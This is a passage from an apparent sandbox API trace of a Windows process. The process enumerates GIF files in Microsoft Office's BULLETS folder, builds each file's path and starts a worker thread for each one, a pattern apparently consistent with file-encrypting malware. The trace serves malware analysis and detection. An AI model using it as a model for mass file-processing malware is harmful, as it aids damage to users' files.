_Source="BD10263_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF" [0151.242] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205063b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24ac [0151.243] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x2027ec90 | out: lpFindFileData=0x2027ec90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10264_.GIF", cAlternateFileName="")) returned 1 [0151.243] wcscmp (_String1="BD10264_.GIF", _String2=".") returned 1 [0151.243] wcscmp (_String1="BD10264_.GIF", _String2="..") returned 1 [0151.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x205073f0 [0151.243] wcscpy (in: _Dest=0x205073f0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0151.243] wcscat (in: _Dest=0x205073f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0151.243] wcscat (in: _Dest=0x205073f0, _Source="BD10264_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF" [0151.244] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205073f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24b0 [0151.245] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x2027ec90 | out: lpFindFileData=0x2027ec90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10265_.GIF", cAlternateFileName="")) returned 1 [0151.245] wcscmp (_String1="BD10265_.GIF", _String2=".") returned 1 [0151.245] wcscmp (_String1="BD10265_.GIF", _String2="..") returned 1 [0151.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20507350 [0151.245] wcscpy (in: _Dest=0x20507350, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0151.245] wcscat (in: _Dest=0x20507350, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0151.245] wcscat (in: _Dest=0x20507350, _Source="BD10265_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF" [0151.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24b4 [0151.246] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x2027ec90 | out: lpFindFileData=0x2027ec90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10266_.GIF", cAlternateFileName="")) returned 1 [0151.246] wcscmp (_String1="BD10266_.GIF", _String2=".") returned 1 [0151.246] wcscmp (_String1="BD10266_.GIF", _String2="..") returned 1 [0151.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20506bd0 [0151.246] wcscpy (in: _Dest=0x20506bd0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0151.246] wcscat (in: _Dest=0x20506bd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0151.246] wcscat (in: _Dest=0x20506bd0, _Source="BD10266_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF" [0151.246] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24b8 [0151.247] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x2027ec90 | out: lpFindFileData=0x2027ec90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x137, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10267_.GIF", cAlternateFileName="")) returned 1 [0151.248] wcscmp (_String1="BD10267_.GIF", _String2=".") returned 1 [0151.248] wcscmp (_String1="BD10267_.GIF", _String2="..") returned 1 [0151.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20506c70 [0151.248] wcscpy (in: _Dest=0x20506c70, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0151.248] wcscat (in: _Dest=0x20506c70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0151.248] wcscat (in: _Dest=0x20506c70, _Source="BD10267_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF" [0151.248] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506c70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24bc [0151.249] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x2027ec90 | out: lpFindFileData=0x2027ec90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10268_.GIF", cAlternateFileName="")) returned 1 [0151.249] wcscmp (_String1="BD10268_.GIF", _String2=".") returned 1 [0151.249] wcscmp (_String1="BD10268_.GIF", _String2="..") returned 1 [0151.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20506db0 [0151.249] wcscpy (in: _Dest=0x20506db0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0151.249] wcscat (in: _Dest=0x20506db0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0151.249] wcscat (in: _Dest=0x20506db0, _Source="BD10268_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF" [0151.249] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24c0 [0151.250] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x2027ec90 | out: lpFindFileData=0x2027ec90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70656e00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x70656e00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x46b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10297_.GIF", cAlternateFileName="")) returned 1 [0151.250] wcscmp (_String1="BD10297_.GIF", _String2=".") returned 1 [0151.250] wcscmp (_String1="BD10297_.GIF", _String2="..") returned 1 [0151.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20506e50 [0151.250] wcscpy (in: _Dest=0x20506e50, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0151.251] wcscat (in: _Dest=0x20506e50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0151.251] wcscat (in: _Dest=0x20506e50, _Source="BD10297_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF" [0151.251] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506e50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24c4 [0151.252] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x2027ec90 | out: lpFindFileData=0x2027ec90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70656e00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x70656e00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10298_.GIF", cAlternateFileName="")) returned 1 [0151.252] wcscmp (_String1="BD10298_.GIF", _String2=".") returned 1 [0151.252] wcscmp (_String1="BD10298_.GIF", _String2="..") returned 1 [0151.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20506ef0 [0151.252] wcscpy (in: _Dest=0x20506ef0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0151.252] wcscat (in: _Dest=0x20506ef0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0151.252] wcscat (in: _Dest=0x20506ef0, _Source="BD10298_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF" [0151.252] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506ef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24c8 [0151.253] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x2027ec90 | out: lpFindFileData=0x2027ec90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10299_.GIF", cAlternateFileName="")) returned 1 [0151.253] wcscmp (_String1="BD10299_.GIF", _String2=".") returned 1 [0151.253] wcscmp (_String1="BD10299_.GIF", _String2="..") returned 1 [0151.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20507170 [0151.253] wcscpy (in: _Dest=0x20507170, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0151.253] wcscat (in: _Dest=0x20507170, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0151.254] wcscat (in: _Dest=0x20507170, _Source="BD10299_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF" [0151.254] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24cc [0151.255] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x2027ec90 | out: lpFindFileData=0x2027ec90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10300_.GIF", cAlternateFileName="")) returned 1 [0151.255] wcscmp (_String1="BD10300_.GIF", _String2=".") returned 1 [0151.255] wcscmp (_String1="BD10300_.GIF", _String2="..") returned 1 [0151.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20506d10 [0151.255] wcscpy (in: _Dest=0x20506d10, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0151.255] wcscat (in: _Dest=0x20506d10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0151.255] wcscat (in: _Dest=0x20506d10, _Source="BD10300_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF" [0151.255] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24d0 [0151.256] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x2027ec90 | out: lpFindFileData=0x2027ec90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10301_.GIF", cAlternateFileName="")) returned 1 [0151.256] wcscmp (_String1="BD10301_.GIF", _String2=".") returned 1 [0151.256] wcscmp (_String1="BD10301_.GIF", _String2="..") returned 1 [0151.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20506f90 [0151.256] wcscpy (in: _Dest=0x20506f90, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0151.256] wcscat (in: _Dest=0x20506f90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0151.256] wcscat (in: _Dest=0x20506f90, _Source="BD10301_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF" [0151.256] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24d4 [0151.258] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x2027ec90 | out: lpFindFileData=0x2027ec90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72c7c800, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72c7c800, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10302_.GIF", cAlternateFileName="")) returned 1 [0151.258] wcscmp (_String1="BD10302_.GIF", _String2=".") returned 1 [0151.258] wcscmp (_String1="BD10302_.GIF", _String2="..") returned 1 [0151.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20507030 [0151.258] wcscpy (in: _Dest=0x20507030, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0151.258] wcscat (in: _Dest=0x20507030, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0151.258] wcscat (in: _Dest=0x20507030, _Source="BD10302_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF" [0151.258] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24d8 [0151.259] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x2027ec90 | out: lpFindFileData=0x2027ec90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10335_.GIF", cAlternateFileName="")) returned 1 [0151.259] wcscmp (_String1="BD10335_.GIF", _String2=".") returned 1 [0151.259] wcscmp (_String1="BD10335_.GIF", _String2="..") returned 1 [0151.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x205070d0 [0151.259] wcscpy (in: _Dest=0x205070d0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0151.260] wcscat (in: _Dest=0x205070d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0151.260] wcscat (in: _Dest=0x205070d0, _Source="BD10335_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF" [0151.260] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205070d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24dc [0151.261] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x2027ec90 | out: lpFindFileData=0x2027ec90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10336_.GIF", cAlternateFileName="")) returned 1 [0151.261] wcscmp (_String1="BD10336_.GIF", _String2=".") returned 1 [0151.261] wcscmp (_String1="BD10336_.GIF", _String2="..") returned 1 [0151.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20507210 [0151.261] wcscpy (in: _Dest=0x20507210, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0151.261] wcscat (in: _Dest=0x20507210, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0151.261] wcscat (in: _Dest=0x20507210, _Source="BD10336_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF" [0151.261] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24e0 [0151.262] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x2027ec90 | out: lpFindFileData=0x2027ec90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10337_.GIF", cAlternateFileName="")) returned 1 [0151.262] wcscmp (_String1="BD10337_.GIF", _String2=".") returned 1 [0151.262] wcscmp (_String1="BD10337_.GIF", _String2="..") returned 1 [0151.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x205072b0 [0151.262] wcscpy (in: _Dest=0x205072b0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0151.262] wcscat (in: _Dest=0x205072b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0151.262] wcscat (in: _Dest=0x205072b0, _Source="BD10337_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF" [0151.263] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205072b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24e4 [0151.263] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x2027ec90 | out: lpFindFileData=0x2027ec90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ebfa00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7ebfa00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14513_.GIF", cAlternateFileName="")) returned 1 [0151.264] wcscmp (_String1="BD14513_.GIF", _String2=".") returned 1 [0151.264] wcscmp (_String1="BD14513_.GIF", _String2="..") returned 1 [0151.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20506b30 [0151.264] wcscpy (in: _Dest=0x20506b30, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0151.264] wcscat (in: _Dest=0x20506b30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft 